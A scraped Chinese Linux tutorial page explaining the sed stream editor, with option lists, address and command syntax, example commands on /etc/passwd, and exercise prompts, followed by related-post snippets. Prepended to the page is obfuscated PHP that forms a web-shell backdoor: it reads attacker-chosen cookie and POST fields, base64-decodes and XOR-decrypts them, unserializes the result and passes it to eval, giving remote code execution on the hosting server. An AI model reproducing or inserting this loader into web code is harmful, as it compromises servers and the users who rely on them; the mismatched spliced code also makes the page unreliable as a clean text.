$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} sed讲解与使用 | Linux运维部落

sed讲解与使用

        sed是一种流编辑器,它是文本处理中非常中的工具,能够完美的配合正则表达式使用,功能不同凡响。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有 改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件;简化对文件的反复操作;编写转换程序等。

        格式如下:

        sed[option]… 'script' inputfile… 

        常用选项
            -n:不输出模式空间内容的自动打印
            -e:多点编辑
            -f /PATH/TO/SCRIPT_FILE::从指定文件中读取编辑脚本
            -r:支持使用扩展正则表达式
            -i:原处编辑   
        script:‘地址命令’

        地址定界:
            (1) 不给地址:对全文进行处理
            (2) 单地址:
                #: 指定的行
                /pattern/:被此处模式所能够匹配到的每一行
            (3) 地址范围:
                #,#
                #,+#
                /pat1/,/pat2/
                #,/pat1/
            (4) ~:步进
                1~2 奇数行
                2~2 偶数行

         编辑命令:
            d:删除模式空间匹配的行
            p:显示模式空间中的内容
            a \text:在行后面追加文本;支持使用\n实现多行追加
            i\text:在行前面插入文本;支持使用\n实现多行插入
            c \text:替换行为单行或多行文本
            w /path/to/somefile:保存模式匹配的行至指定文件
            r /path/from/somefile:读取指定文件的文本至模式空间中匹配到的行后
            =:为模式空间中的行打印行号
            !:模式空间中匹配行取反处理 

        替换标记:

            s///:查找替换,支持使用其它分隔符,s@@@,s###
            g:行内全局替换
            p:显示替换成功的行
            w /PATH/TO/SOMEFILE:将替换成功的行保存至文件中
sed示例
sed‘2p’ /etc/passwd

2p.jpg

sed –n ‘2p’ /etc/passwd

n2p.jpg

sed –n ‘1,4p’ /etc/passwd

1,4.jpg

sed –n ‘/root/p’ /etc/passwd

 root.jpg

sed–n ‘2,/root/p’ /etc/passwd从2行开始

2root.jpg

sed -n ‘/^$/p’ file 显示空行行号

空行.jpg

sed –n –e ‘/^$/p’ –e ‘/^$/p’ file

eee.jpg

sed‘/root/a\superman’ /etc/passwd行后

a.jpg

sed‘/root/i\superman’ /etc/passwd行前

i.jpg

sed‘/root/c\superman’ /etc/passwd代替行

c.jpg

sed‘/^$/d’ file

d.jpg

sed‘1,10d’ file

dd.jpg

nl/etc/passwd| sed‘2,5d’

ddd.jpg

nl/etc/passwd| sed‘2a tea’

2a.jpg

sed's/sync/mysync/g'

 sg.jpg

sed–n‘s/root/&superman/p’ /etc/passwd单词后

 &.jpg

sed–n‘s/root/superman&/p’ /etc/passwd单词前

2&.jpg

sed ‘s/var/cat/’ -e ‘s/sbin/lo/’ pets

 e.jpg

sed–i.bak ‘s/sbin/cat/g’ pets

bak.jpg

1、删除/etc/grub2.conf文件中所有以空白开头的行行首的空白字符

1.jpg

2、删除/etc/fstab文件中所有以#开头,后面至少跟一个空白字符的行的行首的#和空白字符

2.jpg

3、在/root/install.log每一行行首增加#号

3.jpg

4、在/etc/fstab文件中不以#开头的行的行首增加#号

4.jpg

5、处理/etc/fstab路径,使用sed命令取出其目录名和基名

5.jpg

6、利用sed 取出ifconfig命令中本机的IPv4地址

6.jpg

7、统计centos安装光盘中Package目录下的所有rpm文件的以.分隔倒数第二个字段的重复次数

7.jpg

 

原创文章,作者:msj77539273,如若转载,请注明出处:http://www.178linux.com/32117

(1)
上一篇 2016-08-15 14:31
下一篇 2016-08-15 14:31

相关推荐

  • iptables之froward

    先克隆一台centos服务器添加虚拟网卡 同时两个服务器配上host only的网卡 echo 1 > /proc/sys/net/ipv4/ip_forward打开网卡间转发 有回包 但是没有10.0.0.3还是没有ping通原因是192.168.68.134 的网关指向了192.168.68.2 而不是192.168.68.144添加一条指向192…

    2017-11-12
  • linux计划任务

    任务计划的分类: 一次性的任务计划:只执行一次 周期性的任务计划:每隔一定的周期去做相同的事情 设置任务计划功能的工具:at和crontab at:专门处理一次性的计划任务 crontab:根据定义的周期信息,循环做一些事情 batch:系统自行选择空闲时间去执行此处指定的任务 At命令: 查看atd状态和启动atd服务及其配置文件路径: centos6:s…

    2017-09-09
  • 破坏grub实验之二

    删除/etc/fstab和/boot和grub的stage1阶段 [root@localhost ~]# rm -rf /boot [root@localhost ~]# rm -rf /etc/fstab  [root@localhost ~]# …

    Linux干货 2016-09-28
  • 第五周作业

    1、显示/boot/grub/grub.conf中以至少一个空白字符开头的行; [root@centos6 ~]# grep "^[[:space:]]\+" /boot/grub/grub.conf         &…

    Linux干货 2017-01-16
  • 啊 逗比呀!

    提示符,nano编辑,rz | sz命令,Sublime

    2017-11-19